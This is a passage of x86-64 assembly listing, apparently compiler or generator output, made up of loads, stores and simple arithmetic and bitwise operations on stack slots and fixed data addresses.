mov word [rcx], ax
mov rax, qword [rsp + 0x6310]
movzx eax, word [rax]
mov word [rsp + 0xc90], ax
mov rax, qword [rsp + 0x63a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x8b]
and eax, ecx
mov rcx, qword [rsp + 0x6ef8]
mov byte [rcx], al
movzx eax, word [rsp + 0xad8]
movzx ecx, word [rsp + 0xc68]
sub eax, ecx
mov word [rsp + 0x9fc], ax
mov rax, qword [rsp + 0x5680]
mov eax, dword [rax]
mov dword [rsp + 0x2f38], eax
mov rax, qword [rsp + 0x59d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x52c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5c58], rax
mov eax, dword [rsp + 0x2e3c]
mov dword [rsp + 0x2f3c], eax
mov rax, qword [rsp + 0x6338]
mov rcx, qword [rsp + 0x6930]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x66f8]
mov qword [rcx], rax
movsx eax, word [rsp + 0xb04]
mov rcx, qword [0x1401142a8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401144f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5768]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5420]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6970]
mov byte [rcx], al
lea rax, [rsp + 0xbb8]
mov qword [rsp + 0x7040], rax
movzx eax, byte [rsp + 0x13b]
movzx ecx, byte [rsp + 0x6a]
shl eax, cl
mov byte [rsp + 0xbf], al
lea rax, [rsp + 0x5d]
mov qword [rsp + 0x7048], rax
mov rax, qword [rsp + 0x5610]
mov rcx, qword [rsp + 0x4e50]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x5a60], rax
mov rax, qword [rsp + 0x67b0]
mov rcx, qword [rsp + 0x5c78]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x7010]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5aa0]
mov qword [rsp + 0x7050], rax
mov rax, qword [rsp + 0x5820]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2be0]
sar eax, cl
mov rcx, qword [rsp + 0x55a0]
mov dword [rcx], eax
movsx eax, byte [0x14011302b]
movsx ecx, byte [rsp + 0x65]
and eax, ecx
mov byte [0x14011306e], al
movzx eax, word [rsp + 0x9b0]
mov word [rsp + 0xc94], ax
mov rax, qword [rsp + 0x66e0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6fa8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5d48]
mov byte [rcx], al
mov rax, qword [rsp + 0x5088]
movzx eax, word [rax]
mov word [rsp + 0xc98], ax
movsx eax, word [rsp + 0xa54]
mov rcx, qword [rsp + 0x6620]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xac4], ax
mov rax, qword [rsp + 0x5ff8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6d28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x67d0], rax
lea rax, [0x140114160]
mov qword [rsp + 0x7058], rax
mov rax, qword [rsp + 0x6080]
mov rcx, qword [rsp + 0x5060]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6728]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2c20]
mov dword [rsp + 0x2f40], eax
movzx eax, byte [0x14011303e]
movzx ecx, byte [rsp + 0x99]
and eax, ecx
mov byte [0x14011306f], al
movzx eax, word [rsp + 0x930]
mov rcx, qword [rsp + 0x6f70]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x65e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x5a58]
movsx eax, byte [rax]
mov rcx, qword [0x140114298]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5d00]
mov byte [rcx], al
lea rax, [rsp + 0x8c8]
mov qword [rsp + 0x7060], rax
mov rax, qword [rsp + 0x6ed0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa64]
sub eax, ecx
mov word [rsp + 0x974], ax
lea rax, [rsp + 0x2a4c]
mov qword [rsp + 0x7068], rax
mov eax, dword [rsp + 0x2d24]
mov ecx, dword [rsp + 0x2bec]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2d54], eax
mov rax, qword [rsp + 0x5d58]
mov rcx, qword [rsp + 0x4e98]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x6f60], rax
lea rax, [rsp + 0x5838]
mov qword [rsp + 0x7070], rax
movsx eax, byte [rsp + 0x52]
mov rcx, qword [rsp + 0x5b70]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [0x1401143b0]
mov byte [rcx], al
mov rax, qword [rsp + 0x6658]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6ba0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xc5c], ax
movzx eax, byte [0x14011301e]
mov byte [rsp + 0x13c], al
mov rax, qword [rsp + 0x5810]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xbe4]
xor eax, ecx
mov word [rsp + 0x8f8], ax
movsx eax, word [rsp + 0x8d8]
movsx ecx, word [rsp + 0xb58]
and eax, ecx
mov word [rsp + 0xbc4], ax
mov eax, dword [rsp + 0x2e98]
mov dword [rsp + 0x2f44], eax
mov rax, qword [rsp + 0x6b28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4c00]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6ef0], rax
mov rax, qword [rsp + 0x7018]
mov eax, dword [rax]
mov dword [rsp + 0x2f48], eax
mov rax, qword [rsp + 0x59a8]
mov rcx, qword [rsp + 0x4ea8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4bf8], rax
movsx eax, byte [rsp + 0xc4]
movsx ecx, byte [rsp + 0xfc]
add eax, ecx
mov rcx, qword [0x140114638]
mov byte [rcx], al
lea rax, [rsp + 0x8cc]
mov qword [rsp + 0x7078], rax
movsx eax, byte [rsp + 0x137]
movsx ecx, byte [0x140114214]
add eax, ecx
mov rcx, qword [rsp + 0x5b70]
mov byte [rcx], al
movsx eax, word [rsp + 0xc50]
movsx ecx, word [rsp + 0x924]
sub eax, ecx
mov rcx, qword [rsp + 0x4bc8]
mov word [rcx], ax
mov rax, qword [rsp + 0x69b0]
movzx eax, byte [rax]
mov byte [rsp + 0x13d], al
mov rax, qword [rsp + 0x6e58]
mov rcx, qword [rsp + 0x55f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2e88], eax
mov rax, qword [rsp + 0x5138]
mov qword [rsp + 0x7080], rax
mov rax, qword [rsp + 0x50f0]
mov rcx, qword [rsp + 0x5e50]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5dc8], rax
mov rax, qword [rsp + 0x64e8]
mov rcx, qword [rsp + 0x5a48]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2b50], eax
movzx eax, byte [rsp + 0x44]
mov byte [0x140114232], al
mov rax, qword [rsp + 0x63f0]
movzx eax, word [rax]
mov word [rsp + 0xc9c], ax
movsx eax, byte [rsp + 0xba]
movsx ecx, byte [0x14011301a]
sub eax, ecx
mov byte [rsp + 0xce], al
movzx eax, word [rsp + 0xb7c]
mov word [rsp + 0xca0], ax
mov rax, qword [rsp + 0x5d30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5e00]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6cf8]
mov byte [rcx], al
mov rax, qword [rsp + 0x5760]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x5410]
shl rax, cl
mov qword [rsp + 0x6f48], rax
lea rax, [rsp + 0x2e5c]
mov qword [rsp + 0x7088], rax
mov rax, qword [rsp + 0x5ff8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5cc8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5eb8]
mov qword [rcx], rax
lea rax, [0x140114150]
mov qword [rsp + 0x7090], rax
mov rax, qword [rsp + 0x5038]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x62a8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x5d], al
movzx eax, byte [rsp + 0xf6]
mov rcx, qword [rsp + 0x6468]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x140113072], al
movsx eax, word [rsp + 0x8c8]
movsx ecx, word [rsp + 0xab8]
sub eax, ecx
mov word [rsp + 0xb20], ax
mov rax, qword [rsp + 0x4c78]
movzx eax, word [rax]
mov word [rsp + 0xca4], ax
mov rax, qword [rsp + 0x6740]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x50f8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5050]
mov byte [rcx], al
lea rax, [0x140113008]
mov qword [rsp + 0x7098], rax
mov rax, qword [rsp + 0x5d38]
mov rcx, qword [rsp + 0x5ff0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5838], rax
mov eax, dword [rsp + 0x2c9c]
mov dword [rsp + 0x2f4c], eax
mov rax, qword [rsp + 0x65f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2d6c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2d3c], eax
mov rax, qword [rsp + 0x6628]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x12c]
add eax, ecx
mov byte [rsp + 0xa9], al
movsx eax, word [rsp + 0xc9c]
mov rcx, qword [rsp + 0x6108]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401141a8]
mov word [rcx], ax
lea rax, [rsp + 0xa44]
mov qword [rsp + 0x70a0], rax
mov rax, qword [rsp + 0x5490]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6198]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x8b], al
lea rax, [rsp + 0xa8c]
mov qword [rsp + 0x70a8], rax
mov rax, qword [rsp + 0x52b0]
mov eax, dword [rax]
mov ecx, dword [0x140114150]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b68], eax
mov eax, dword [rsp + 0x2d34]
mov ecx, dword [rsp + 0x2f04]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2d88], eax
mov rax, qword [rsp + 0x5178]
mov qword [rsp + 0x70b0], rax
mov rax, qword [rsp + 0x6578]
mov rcx, qword [rsp + 0x50e0]
mov qword [rsp + 0x70b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x70b8]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x6038]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5398]
movzx eax, byte [rax]
mov byte [rsp + 0x13e], al
movzx eax, word [rsp + 0xc08]
mov rcx, qword [rsp + 0x4e88]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x1401130ec], ax
movsx eax, word [rsp + 0xac8]
mov rcx, qword [rsp + 0x5d28]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xb40], ax
mov rax, qword [rsp + 0x6d80]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x94]
add eax, ecx
mov byte [rsp + 0x104], al
mov rax, qword [rsp + 0x4e88]
movzx eax, word [rax]
mov word [rsp + 0xca8], ax
mov eax, dword [rsp + 0x2de0]
mov ecx, dword [rsp + 0x2e14]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ccc], eax
mov rax, qword [rsp + 0x6be0]
mov qword [rsp + 0x70c0], rax
mov rax, qword [rsp + 0x6168]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5ac0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6440], rax
mov rax, qword [rsp + 0x5168]
mov eax, dword [rax]
mov dword [rsp + 0x2f50], eax
movzx eax, word [rsp + 0xb68]
mov rcx, qword [rsp + 0x56c8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xa34], ax
movsx eax, word [rsp + 0xa04]
mov rcx, qword [rsp + 0x6b20]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x140114318], ax
mov rax, qword [rsp + 0x5110]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7c]
sub eax, ecx
mov byte [rsp + 0xd2], al
movzx eax, byte [rsp + 0xa1]
mov byte [rsp + 0x13f], al
mov rax, qword [rsp + 0x52a0]
movsx eax, byte [rax]
movsx ecx, byte [0x140114227]
add eax, ecx
mov rcx, qword [rsp + 0x5be0]
mov byte [rcx], al
lea rax, [rsp + 0xb48]
mov qword [rsp + 0x70c8], rax
mov rax, qword [rsp + 0x53f8]
mov rcx, qword [rsp + 0x65d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2b70], eax
mov rax, qword [rsp + 0x5b78]
mov rcx, qword [rsp + 0x6e08]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6f38]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2e14]
mov dword [rsp + 0x2f54], eax
mov rax, qword [rsp + 0x6d88]
mov rcx, qword [rsp + 0x5ed8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x5f88], rax
lea rax, [0x140113023]
mov qword [0x140114640], rax
mov rax, qword [rsp + 0x4b70]
movzx eax, word [rax]
mov word [rsp + 0xcac], ax
movzx eax, byte [rsp + 0x133]
mov rcx, qword [rsp + 0x5d10]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x5318]
mov byte [rcx], al
mov rax, qword [rsp + 0x6a50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6408]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xc58], ax
lea rax, [rsp + 0x6f]
mov qword [rsp + 0x70d0], rax
mov rax, qword [rsp + 0x5210]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ae0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ee8], eax
mov eax, dword [rsp + 0x2cfc]
mov dword [rsp + 0x2f58], eax
mov rax, qword [rsp + 0x5588]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6c18]
mov qword [rsp + 0x70d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x70d8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x5870], rax
mov rax, qword [rsp + 0x6860]
mov rcx, qword [rsp + 0x5718]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6460]
mov qword [rcx], rax
movsx eax, word [rsp + 0x84c]
movsx ecx, word [rsp + 0x878]
sub eax, ecx
mov word [0x140114318], ax
movzx eax, word [rsp + 0xc74]
mov word [rsp + 0xcb0], ax
mov rax, qword [rsp + 0x5268]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6970]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6360]
mov byte [rcx], al
mov rax, qword [rsp + 0x5c18]
movzx eax, word [rax]
mov word [rsp + 0xcb4], ax
mov rax, qword [rsp + 0x5458]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x76]
add eax, ecx
mov byte [rsp + 0x62], al
lea rax, [rsp + 0x4f18]
mov qword [rsp + 0x70e0], rax
mov rax, qword [rsp + 0x4b28]
mov rcx, qword [rsp + 0x6178]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x57c0], rax
mov rax, qword [rsp + 0x5af8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2e00]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6e10]
mov dword [rcx], eax
lea rax, [rsp + 0x2bdc]
mov qword [rsp + 0x70e8], rax
movsx eax, byte [rsp + 0xd6]
mov rcx, qword [0x140114168]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401142f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x5148]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x63e8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5a00]
mov word [rcx], ax
movzx eax, word [rsp + 0xc38]
mov word [rsp + 0xcb8], ax
mov rax, qword [rsp + 0x6280]
movzx eax, byte [rax]
movzx ecx, byte [0x140113022]
add eax, ecx
mov byte [rsp + 0x66], al
mov rax, qword [rsp + 0x6a38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe9]
sub eax, ecx
mov byte [rsp + 0xb0], al
lea rax, [rsp + 0x2ce8]
mov qword [rsp + 0x70f0], rax
mov rax, qword [rsp + 0x4fc0]
mov rcx, qword [rsp + 0x66d8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5800]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6250]
mov qword [rsp + 0x70f8], rax
mov eax, dword [rsp + 0x2b38]
movzx ecx, al
mov eax, dword [rsp + 0x2e98]
shr eax, cl
mov dword [rsp + 0x2bb0], eax
lea rax, [0x140113002]
mov qword [0x140114648], rax
mov rax, qword [rsp + 0x7078]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6b08]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x9f4], ax
lea rax, [rsp + 0xdf]
mov qword [rsp + 0x7100], rax
movsx eax, word [rsp + 0x994]
movsx ecx, word [0x1401130c4]
xor eax, ecx
mov rcx, qword [rsp + 0x6e90]
mov word [rcx], ax
lea rax, [rsp + 0x884]
mov qword [rsp + 0x7108], rax
mov eax, dword [rsp + 0x29f0]
mov ecx, dword [rsp + 0x2de4]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4ee8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2b84]
mov dword [rsp + 0x2f5c], eax
mov rax, qword [rsp + 0x55f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5f50]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x52f8], rax
mov rax, qword [rsp + 0x5ce8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7050]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6ad8]
mov qword [rcx], rax
movsx eax, word [0x1401130d8]
movsx ecx, word [rsp + 0xbcc]
sub eax, ecx
mov rcx, qword [0x1401144c8]
mov word [rcx], ax
movzx eax, byte [rsp + 0xde]
mov byte [rsp + 0x140], al
movzx eax, word [rsp + 0x938]
movzx ecx, word [rsp + 0xc2c]
and eax, ecx
mov word [rsp + 0x974], ax
lea rax, [0x140113007]
mov qword [rsp + 0x7110], rax
mov rax, qword [rsp + 0x5fc8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5450]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x114], al
mov rax, qword [rsp + 0x5c50]
mov rcx, qword [rsp + 0x63c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2cc0], eax
mov eax, dword [rsp + 0x2c54]
mov dword [rsp + 0x2f60], eax
mov rax, qword [rsp + 0x4c90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4f18]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6f80], rax
lea rax, [rsp + 0x6950]
mov qword [rsp + 0x7118], rax
lea rax, [rsp + 0xa8]
mov qword [0x140114650], rax
mov rax, qword [0x140114360]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x67c8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xa48], ax
mov rax, qword [rsp + 0x70d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6060]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4f60]
mov byte [rcx], al
mov rax, qword [rsp + 0x6a00]
movzx eax, word [rax]
mov word [rsp + 0xcbc], ax
mov rax, qword [rsp + 0x5d10]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x69d0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x36], al
lea rax, [rsp + 0x4fa0]
mov qword [rsp + 0x7120], rax
mov eax, dword [rsp + 0x2f2c]
mov ecx, dword [rsp + 0x2f14]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5ec0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6ec8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2ef0]
sar eax, cl
mov dword [rsp + 0x2de4], eax
lea rax, [rsp + 0x5430]
mov qword [rsp + 0x7128], rax
movsx eax, word [rsp + 0xb74]
mov rcx, qword [rsp + 0x4e38]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x1401143a0]
mov word [rcx], ax
movzx eax, byte [rsp + 0xd0]
movzx ecx, byte [rsp + 0x7c]
and eax, ecx
mov byte [rsp + 0x92], al
mov rax, qword [rsp + 0x67d8]
movzx eax, word [rax]
mov word [rsp + 0xcc0], ax
movsx eax, byte [rsp + 0x126]
mov rcx, qword [rsp + 0x5f78]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5890]
mov byte [rcx], al
lea rax, [rsp + 0xa38]
mov qword [rsp + 0x7130], rax
mov rax, qword [rsp + 0x60f0]
mov rcx, qword [rsp + 0x5778]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5698]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4f78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x63d0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4c00], rax
mov rax, qword [rsp + 0x5d78]
mov rax, qword [rax]
mov qword [rsp + 0x7138], rax
mov rax, qword [rsp + 0x6fa0]
mov ecx, dword [rsp + 0x2df0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2c08], eax
mov rax, qword [rsp + 0x52d8]
movzx eax, byte [rax]
mov byte [rsp + 0x141], al
lea rax, [rsp + 0xfd]
mov qword [0x140114658], rax
mov rax, qword [rsp + 0x6d60]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x86c]
and eax, ecx
mov word [rsp + 0xb74], ax
movzx eax, word [rsp + 0x870]
movzx ecx, word [rsp + 0x9fc]
add eax, ecx
mov word [rsp + 0xcbc], ax
mov rax, qword [rsp + 0x5b00]
movzx eax, byte [rax]
mov byte [rsp + 0x142], al
mov eax, dword [rsp + 0x2c94]
mov ecx, dword [rsp + 0x2c40]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2d40], eax
mov eax, dword [rsp + 0x2e9c]
mov dword [rsp + 0x2f64], eax
mov rax, qword [rsp + 0x6390]
mov rcx, qword [rsp + 0x5cc8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6630], rax
mov rax, qword [rsp + 0x6bf8]
mov rcx, qword [rsp + 0x55b0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4fb0], rax
mov rax, qword [rsp + 0x6a48]
movzx eax, word [rax]
mov word [rsp + 0xcc4], ax
movzx eax, byte [rsp + 0x32]
mov byte [0x140114233], al
mov rax, qword [rsp + 0x5510]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xbd8]
sar eax, cl
mov rcx, qword [rsp + 0x6a08]
mov word [rcx], ax
movzx eax, byte [rsp + 0x111]
mov byte [rsp + 0x143], al
mov rax, qword [0x1401145e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5ad8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xaf4], ax
mov rax, qword [rsp + 0x6ce8]
mov rcx, qword [rsp + 0x6890]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x5460]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2c88]
mov dword [rsp + 0x2f68], eax
mov rax, qword [rsp + 0x6440]
mov rcx, qword [0x140113008]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x6678], rax
mov rax, qword [rsp + 0x5808]
mov qword [rsp + 0x7140], rax
movsx eax, byte [rsp + 0xd6]
mov rcx, qword [rsp + 0x6448]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x55], al
movzx eax, word [rsp + 0x97c]
mov rcx, qword [rsp + 0x5b20]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401144b0]
mov word [rcx], ax
movzx eax, byte [rsp + 0xd1]
mov byte [rsp + 0x144], al
mov rax, qword [rsp + 0x5b48]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc74]
sub eax, ecx
mov rcx, qword [rsp + 0x5148]
mov word [rcx], ax
mov rax, qword [0x1401144e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5160]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xa58], ax
mov rax, qword [rsp + 0x70e8]
mov eax, dword [rax]
mov dword [rsp + 0x2f6c], eax
mov rax, qword [rsp + 0x6b28]
mov rcx, qword [rsp + 0x5800]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5a90], rax
lea rax, [rsp + 0x5858]
mov qword [rsp + 0x7148], rax
mov rax, qword [rsp + 0x67b8]
mov rcx, qword [rsp + 0x5060]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2d70], eax
mov rax, qword [rsp + 0x65c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb00]
and eax, ecx
mov word [rsp + 0x8fc], ax
movzx eax, byte [rsp + 0x81]
mov rcx, qword [rsp + 0x62f0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401144a0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x36]
mov byte [rsp + 0x145], al
mov rax, qword [rsp + 0x63b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x140]
sub eax, ecx
mov rcx, qword [rsp + 0x5a80]
mov byte [rcx], al
movzx eax, word [rsp + 0xc84]
mov word [rsp + 0xcc8], ax
movzx eax, byte [rsp + 0x41]
movzx ecx, byte [rsp + 0x125]
sub eax, ecx
mov byte [rsp + 0xdd], al
mov rax, qword [0x140113008]
mov rcx, qword [rsp + 0x5a70]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5900]
mov qword [rcx], rax
lea rax, [rsp + 0x2c8c]
mov qword [rsp + 0x7150], rax
mov eax, dword [rsp + 0x2e8c]
movzx ecx, al
mov eax, dword [rsp + 0x2dd8]
sar eax, cl
mov dword [rsp + 0x2bbc], eax
mov rax, qword [rsp + 0x5218]
mov qword [rsp + 0x7158], rax
movzx eax, word [rsp + 0xc28]
mov rcx, qword [rsp + 0x6b48]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x1401130f0], ax
movsx eax, byte [rsp + 0x120]
mov rcx, qword [rsp + 0x6eb0]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x5be0]
mov byte [rcx], al
movzx eax, word [rsp + 0x950]
mov word [rsp + 0xccc], ax
movzx eax, word [rsp + 0xa84]
movzx ecx, word [rsp + 0x938]
and eax, ecx
mov rcx, qword [rsp + 0x5c00]
mov word [rcx], ax
mov rax, qword [rsp + 0x6280]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6540]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6cf8]
mov byte [rcx], al
lea rax, [rsp + 0x51d8]
mov qword [rsp + 0x7160], rax
mov rax, qword [rsp + 0x55f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b2c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2f58], eax
mov rax, qword [rsp + 0x5098]
mov rax, qword [rax]
mov qword [rsp + 0x7168], rax
mov rax, qword [rsp + 0x5898]
mov rcx, qword [rsp + 0x56b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5f58]
mov dword [rcx], eax
movsx eax, byte [rsp + 0xc1]
mov rcx, qword [rsp + 0x5fc8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x140114200]
mov byte [rcx], al
movzx eax, byte [rsp + 0x122]
mov rcx, qword [rsp + 0x5240]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7008]
mov byte [rcx], al
mov rax, qword [rsp + 0x6430]
movzx eax, byte [rax]
mov byte [rsp + 0x146], al
movsx eax, word [rsp + 0xb3c]
movsx ecx, word [rsp + 0x928]
sub eax, ecx
mov word [rsp + 0xc5c], ax
mov rax, qword [rsp + 0x5ee8]
movzx eax, word [rax]
mov word [rsp + 0xcd0], ax
mov rax, qword [rsp + 0x5d38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6300]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6cf0], rax
mov eax, dword [rsp + 0x2d18]
mov ecx, dword [rsp + 0x2edc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2d78], eax
mov eax, dword [rsp + 0x2f5c]
mov dword [rsp + 0x2f70], eax
mov rax, qword [rsp + 0x59d8]
mov rcx, qword [rsp + 0x6c08]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x5c38]
mov qword [rcx], rax
lea rax, [rsp + 0x9c4]
mov qword [0x140114660], rax
movzx eax, word [rsp + 0xbf0]
mov word [rsp + 0xcd4], ax
mov rax, qword [rsp + 0x6cf8]
movzx eax, byte [rax]
movzx ecx, byte [0x14011306b]
shl eax, cl
